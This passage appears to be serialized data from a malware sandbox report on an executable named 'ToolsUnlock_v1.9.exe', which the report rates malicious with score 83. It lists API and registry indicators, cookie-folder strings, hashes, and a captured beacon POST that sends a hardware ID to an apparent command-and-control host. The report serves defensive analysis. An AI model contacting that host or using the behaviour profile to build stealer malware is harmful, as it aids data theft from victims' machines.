"FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procFindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procFindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")4e:Tf91,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "Process32Next"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "Process32First"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procProcess32FirstW" (Indicator: "Process32First"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procProcess32NextW" (Indicator: "Process32Next"; File: "ToolsUnlock_v1.9.exe") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "K32EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "Thread32First" (Indicator: "Thread32First"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp")4f:T53f,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetProcAddress"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime.getGetProcAddress" (Indicator: "GetProcAddress"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; File: "ToolsUnlock_v1.9.exe") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp, 00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")50:Td93,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetSystemDirectory"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetFileAttributesW" (Indicator: "GetFileAttributes"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetTempPathW" (Indicator: "GetTempPath"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procReadDirectoryChangesW" (Indicator: "ReadDirectoryChange"; File: "ToolsUnlock_v1.9.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procGetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")51:T44f,file/memory contains long string with (Indicator: "DeleteFile"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "RemoveDirectory"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procDeleteFileW" (Indicator: "DeleteFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procRemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "ToolsUnlock_v1.9.exe") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procDeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procRemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")52:T42b,file/memory contains long string with (Indicator: "CopySid"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetLengthSid"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCopySid" (Indicator: "CopySid"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetLengthSid" (Indicator: "GetLengthSid"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetTokenInformation" (Indicator: "GetTokenInformation"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCopySid" (Indicator: "CopySid"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")53:T581,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "ExitProcess"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "TerminateProcess"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procExitProcess" (Indicator: "ExitProcess"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procTerminateProcess" (Indicator: "TerminateProcess"; File: "ToolsUnlock_v1.9.exe") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")54:Ta15,"ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "")55:T54a,"ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "ToolsUnlock_v1.9.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")56:T4fa,"POST / HTTP/1.1 Host: dzp.hidayahnetwork.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdg Cache-Control: no-cache Content-Length: 254" with payload::==> "------h0CQzFBu9J3Nbroc3pdgContent-Disposition: form-data; name="hwid"266B994DEC02057C6F4E-d27478a5-2058------h0CQzFBu9J3Nbroc3pdgContent-Disposition: form-data; name="build_id"0fd283fb7aad3c007cceb5af76ee0633------h0CQzFBu9J3Nbroc3pdg--" HTTP/1.1 200 OK Date: Fri 08 May 2026 14:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=UpbyJup46yUN954kQ8j2Mid6UUtVrYh6O3ZnxMm9XIWnopLZ9GlazHlYZoqfj1fIHP%2FKnfZZF%2FEk5vE7NpZfBxkzaGz4af4g3ny9u0S8JHmohvjxanJm4AHEB7Hbpabidk%2Buiz2eeqFs"}]} Server: cloudflare vary: Accept-Encoding cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5 cfOrigin;dur=261 CF-RAY: 9f89174f59f77a33-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B.......57:T4f5,Found string ":\Users\rrenm15\AppData\Local\Microsoft\Windows\INetCookies\DNTException\" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "??\c:\users\rrenm15\appdata\local\microsoft\windows\inetcookies" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "INetCookies" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "\rrenm15\AppData\Local\Microsoft\Windows\INetCookies" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "icrosoft\Windows\INetCookies" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.F7F90000.00000004.mdmp") Found string "a\Local\Microsoft\Windows\INetCookies" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string ":\Users\rrenm15\AppData\Local\Microsoft\Windows\INetCookies" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string ":\Users\rrenm15\AppData\Local\Microsoft\Windows\INetCookies\" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "sers\rrenm15\AppData\Local\Microsoft\Windows\INetCookies" (Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp")58:T634,"" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") ".skype.com1&0" (Indicator: "skype.com") "community-stage.skype.com1" (Indicator: "skype.com")59:Tbf7,"ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "ToolsUnlock_v1.9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")5a:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAiIiIiAAAAAAAAAAAAAAIiIiIiIiIgAAAAAAAAAAIiIiIiIiIiIiAAAAAAAAAd4iIiIiIiIiIiAAAAAAAB3d3eIiIiIiIiIiAAAAAAHd3d3d3iIiIiIiIiAAAAAd3d3d3d3eIiIiIiIiAAAB3d3d3d3d3d3iIiIiIiAAAd3d3d3d3////+IiIiIgAB3d3d3d3d3//93eIiIiIgAd3d3d3d3d4iIiIiIiIiIB3d3d3d3d3f//////4iIiAd3d3d3d3d3d3d3d3+IiIiHd3d3d3d3d3d3d3d/iIiIh3d3d3d3d3d3d3d3f4iIiId3d3d3eHd3d3d3d3+IiIiHd3d3d/h3d3d3d3d/iIiIh3d3d3f4d3d3d3d3f4iIiId3d3d3+Hd3d3d3d3+IiIiHd3d3d/h3d3d3d3d/iIiIiIh3d3f4d3d3d3d3f4iIiACIiHd3+Hd3d3d3d3+IiIgAiIiId/+IiIiIiIiPiIiIAIiIiIiP/////////4iIgAAIiIiIiIiIiIiIiIiIiIAAAIiIiIiIiIiIiIiIiIgAAACIiIiIiIiIiIiIiIiAAAAACIiIiIiIiIiIiIiIAAAAAACIiIiIiIiIiIiIgAAAAAAAAIiIiIiIiIiIiAAAAAAAAAAIiIiIiIiIiAAAAAAAAAAAAACIiIiIiAAAAAAAD/wAH//wAAf/wAAD/4AAAP8AAAB+AAAAfAAAADwAAAAYAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAYAAAAHAAAAD4AAAA+AAAAfwAAAP+AAAH/4AAD//AAD//+AD/w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":83,"unified_at_epoch_ms":1791626381300,"unified_at":"2026-10-10T09:59:41.300Z","metadata":{"hashes":{"sha256":"e86e9b70fb4b9c56fd64012644ebe1d8df91b83f27b82a47c864a63aeab7d146","sha1":"e5a0560e68c3196cc7b448c5f5cd8d673b885fa3","md5":"f78191f431c1724a0fd0a06477b189eb","sha512":"684b5e5c01177627b8f0aceb5cec837b4d5758598c8a90ca689dea13360e3cc6b2b3a8ca21c1516b6dfa9c3fd0e42ea607f91eb89cc8c821d72dd47b8a18ffe6","ssdeep":"49152:DH13DzQJb+yWx7xfj1ei9WSH0H3K44IOPB3tLSgXrt+K19:9lxCHa44lPB3V1N","ssdeep_chunks":["49152:DH13DzQ","49152:H13DzQJ","49152:13DzQJb","49152:3DzQJb+","49152:DzQJb+y","49152:zQJb+yW","49152:QJb+yWx","49152:Jb+yWx7","49152:b+yWx7x","49152:+yWx7xf","49152:yWx7xfj","49152:Wx7xfj1","49152:x7xfj1e","49152:7xfj1ei","49152:xfj1ei9","49152:fj1ei9W","49152:j1ei9WS","49152:1ei9WSH","49152:ei9WSH0","49152:i9WSH0H","49152:9WSH0H3","49152:WSH0H3K","49152:SH0H3K4","49152:H0H3K44","49152:0H3K44I","49152:H3K44IO","49152:3K44IOP","49152:K44IOPB","49152:44IOPB3","49152:4IOPB3t","49152:IOPB3tL","49152:OPB3tLS","49152:PB3tLSg","49152:B3tLSgX","49152:3tLSgXr","49152:tLSgXrt","49152:LSgXrt+","49152:SgXrt+K","49152:gXrt+K1","49152:Xrt+K19","98304:DH13DzQ","98304:H13DzQJ","98304:13DzQJb","98304:3DzQJb+","98304:DzQJb+y","98304:zQJb+yW","98304:QJb+yWx","98